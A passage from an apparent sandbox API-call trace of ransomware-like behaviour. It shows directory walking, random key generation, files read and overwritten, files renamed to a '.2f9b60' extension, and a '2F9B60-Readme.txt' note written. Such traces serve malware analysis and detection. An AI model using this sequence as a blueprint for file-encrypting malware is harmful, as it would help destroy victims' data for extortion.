nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0154.461] wcscmp (_String1=".", _String2=".") returned 0 [0154.461] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.461] wcscmp (_String1="..", _String2=".") returned 1 [0154.461] wcscmp (_String1="..", _String2="..") returned 0 [0154.461] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0154.462] FindClose (in: hFindFile=0x1cd9d250 | out: hFindFile=0x1cd9d250) returned 1 [0154.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5870) returned 1 [0154.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2d10) returned 1 [0154.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd90) returned 1 Thread: id = 2487 os_tid = 0x1f50 [0154.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205dd70 [0154.464] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" [0154.464] wcscat (in: _Dest=0x4205dd70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\" [0154.464] wcscat (in: _Dest=0x4205dd70, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*" [0154.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec5870 [0154.465] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0154.465] wcscmp (_String1=".", _String2=".") returned 0 [0154.465] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.465] wcscmp (_String1="..", _String2=".") returned 1 [0154.465] wcscmp (_String1="..", _String2="..") returned 0 [0154.465] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 1 [0154.465] wcscmp (_String1="SystemIndex", _String2=".") returned 1 [0154.465] wcscmp (_String1="SystemIndex", _String2="..") returned 1 [0154.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65ad0 [0154.465] wcscpy (in: _Dest=0x1cd65ad0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" [0154.465] wcscat (in: _Dest=0x1cd65ad0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\" [0154.465] wcscat (in: _Dest=0x1cd65ad0, _Source="SystemIndex" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" [0158.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308 [0158.810] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 0 [0158.810] FindClose (in: hFindFile=0x1cd9d250 | out: hFindFile=0x1cd9d250) returned 1 [0158.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5870) returned 1 [0158.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0158.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 Thread: id = 2488 os_tid = 0x1f54 [0154.466] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.chk")) returned 0x2020 [0154.467] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk", dwFileAttributes=0x20) [0203.252] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.chk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2cd8 [0203.253] GetFileSizeEx (in: hFile=0x2cd8, lpFileSize=0x2c93fae0 | out: lpFileSize=0x2c93fae0*=8192) returned 1 [0203.253] SetFilePointerEx (in: hFile=0x2cd8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.253] ReadFile (in: hFile=0x2cd8, lpBuffer=0x2c93fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c93faa8, lpOverlapped=0x0 | out: lpBuffer=0x2c93fa60*, lpNumberOfBytesRead=0x2c93faa8*=0x4, lpOverlapped=0x0) returned 1 [0203.310] SetFilePointerEx (in: hFile=0x2cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa800 [0203.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa860 [0203.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa710 [0203.313] NtQuerySystemTime (in: CurrentTime=0x2c93f9a0 | out: CurrentTime=0x2c93f9a0*=132462178084078000) returned 0x0 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x7fec5a13 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x4447b807 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x23283a6b [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x2fd53b6d [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x1d6ac4dd [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x57be11f0 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x3612b19d [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x142c97e7 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x6188c9c2 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x173da018 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x70cccb64 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x665b615c [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x3d4b5caf [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x3342938 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x35e7d8dd [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x270fe8e1 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x1ddef2de [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x373e9edd [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x619c0ec5 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x7928193c [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x7d5ae9ca [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x7ecc6e3a [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x3f9ba06f [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x44b7882d [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0xa350dae [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x4d694c89 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x507570c4 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x1df704ee [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0xe042ee4 [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x517b24ad [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x58cbba8d [0203.313] RtlRandomEx (in: Seed=0x2c93f990 | out: Seed=0x2c93f990) returned 0x3e46b375 [0203.321] ReadFile (in: hFile=0x2cd8, lpBuffer=0x42450190, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c93f990, lpOverlapped=0x0 | out: lpBuffer=0x42450190*, lpNumberOfBytesRead=0x2c93f990*=0x2000, lpOverlapped=0x0) returned 1 [0203.372] SetFilePointerEx (in: hFile=0x2cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.377] WriteFile (in: hFile=0x2cd8, lpBuffer=0x4243d540*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2c93f994, lpOverlapped=0x0 | out: lpBuffer=0x4243d540*, lpNumberOfBytesWritten=0x2c93f994*=0x2000, lpOverlapped=0x0) returned 1 [0206.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2fc60 [0206.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2fc30 [0206.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2fc30) returned 1 [0206.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4243d540) returned 1 [0206.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42450190) returned 1 [0206.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba860) returned 1 [0206.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0206.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42d2fc30 [0206.444] SetFilePointerEx (in: hFile=0x2cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0206.444] WriteFile (in: hFile=0x2cd8, lpBuffer=0x431a8720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c93fab0, lpOverlapped=0x0 | out: lpBuffer=0x431a8720*, lpNumberOfBytesWritten=0x2c93fab0*=0x100, lpOverlapped=0x0) returned 1 [0209.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0209.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0209.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e70 [0209.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2e70) returned 1 [0209.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d520 [0209.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e70 [0209.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ea0 [0209.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ea0) returned 1 [0209.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0209.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0209.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cdb2ea0 [0209.101] sprintf (in: _Dest=0x1cdb2ea0, _Format="%c%c" | out: _Dest="ff") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2ea2, _Format="%c%c" | out: _Dest="aa") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2ea4, _Format="%c%c" | out: _Dest="2f") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2ea6, _Format="%c%c" | out: _Dest="9d") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2ea8, _Format="%c%c" | out: _Dest="66") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eaa, _Format="%c%c" | out: _Dest="92") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eac, _Format="%c%c" | out: _Dest="39") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eae, _Format="%c%c" | out: _Dest="e4") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eb0, _Format="%c%c" | out: _Dest="78") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eb2, _Format="%c%c" | out: _Dest="07") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eb4, _Format="%c%c" | out: _Dest="8d") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eb6, _Format="%c%c" | out: _Dest="8f") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eb8, _Format="%c%c" | out: _Dest="04") returned 2 [0209.101] sprintf (in: _Dest=0x1cdb2eba, _Format="%c%c" | out: _Dest="3e") returned 2 [0209.101] RtlInitAnsiString (in: DestinationString=0x2c93fb28, SourceString="ffaa2f9d669239e478078d8f043e" | out: DestinationString="ffaa2f9d669239e478078d8f043e") [0209.101] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c93faf8, SourceString="ffaa2f9d669239e478078d8f043e", AllocateDestinationString=1 | out: DestinationString="ffaa2f9d669239e478078d8f043e") returned 0x0 [0209.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5c150 [0209.102] wcscat (in: _Dest=0x43183f80, _Source="ffaa2f9" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\ffaa2f9") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\ffaa2f9" [0209.102] wcscat (in: _Dest=0x43183f80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\ffaa2f9.2f9b60") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\ffaa2f9.2f9b60" [0209.102] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\ffaa2f9.2f9b60", NtPathName=0x2c93fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\ffaa2f9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c37ad0 [0216.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37ad0) returned 1 [0216.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ad1c0) returned 1 [0216.076] NtQueryInformationFile (in: FileHandle=0x2cd8, IoStatusBlock=0x2c93fb38, FileInformation=0x2c93fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c93fb38, FileInformation=0x2c93fb48) returned 0x0 [0216.076] NtSetInformationFile (FileHandle=0x2cd8, IoStatusBlock=0x2c93fb38, FileInformation=0x2c93fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43183f80) returned 1 [0219.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0219.129] FlushFileBuffers (hFile=0x2cd8) returned 1 [0221.374] CloseHandle (hObject=0x2cd8) returned 1 [0222.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f4bf0 [0222.990] wcscpy (in: _Dest=0x431f4bf0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0222.990] wcscat (in: _Dest=0x431f4bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" [0222.990] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\2f9b60-readme.txt")) returned 0xffffffff [0222.990] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1408 [0224.136] WriteFile (in: hFile=0x1408, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2c93f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2c93f9f0*=0xba9, lpOverlapped=0x0) returned 1 [0225.573] CloseHandle (hObject=0x1408) returned 1 [0226.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4bf0) returned 1 [0226.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae770) returned 1 Thread: id = 2489 os_tid = 0x1f58 [0154.468] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log")) returned 0x2020 [0154.468] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log", dwFileAttributes=0x20) [0183.293] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2550 [0183.293] GetFileSizeEx (in: hFile=0x2550, lpFileSize=0x2cc2f6e0 | out: lpFileSize=0x2cc2f6e0*=1048576) returned 1 [0183.293] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0xffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.293] ReadFile (in: hFile=0x2550, lpBuffer=0x2cc2f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cc2f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2cc2f660*, lpNumberOfBytesRead=0x2cc2f6a8*=0x4, lpOverlapped=0x0) returned 1 [0183.547] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32960 [0183.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32990 [0183.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d329c0 [0183.548] NtQuerySystemTime (in: CurrentTime=0x2cc2f5a0 | out: CurrentTime=0x2cc2f5a0*=132462177886426000) returned 0x0 [0183.548] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x43908bd1 [0183.548] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x35a06e28 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x740da1e3 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x6685130a [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x17af8c54 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x6e2b49e2 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x6baebad2 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x35b8671 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x4764d99 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x32f204ae [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x74329176 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0xbeaeeba [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x1485a321 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x77f4eae [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x4f8b7d2f [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x406c1da7 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x16262ee6 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0xe9a876f [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x58e4bd1 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0xd7a5edf [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x84a1f9f [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x779de34a [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x75dbcde7 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x42fa4750 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x226ad789 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x6f9347cb [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x706954f6 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x35d47fe0 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x7a23770e [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x14e2b2e9 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x6ca33620 [0183.549] RtlRandomEx (in: Seed=0x2cc2f590 | out: Seed=0x2cc2f590) returned 0x352afc06 [0183.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d329f0 [0183.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0183.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32a20 [0183.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0183.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d329c0) returned 1 [0183.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32960) returned 1 [0183.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42be0ae0 [0183.562] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.562] ReadFile (in: hFile=0x2550, lpBuffer=0x42be0ae0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cc2f600, 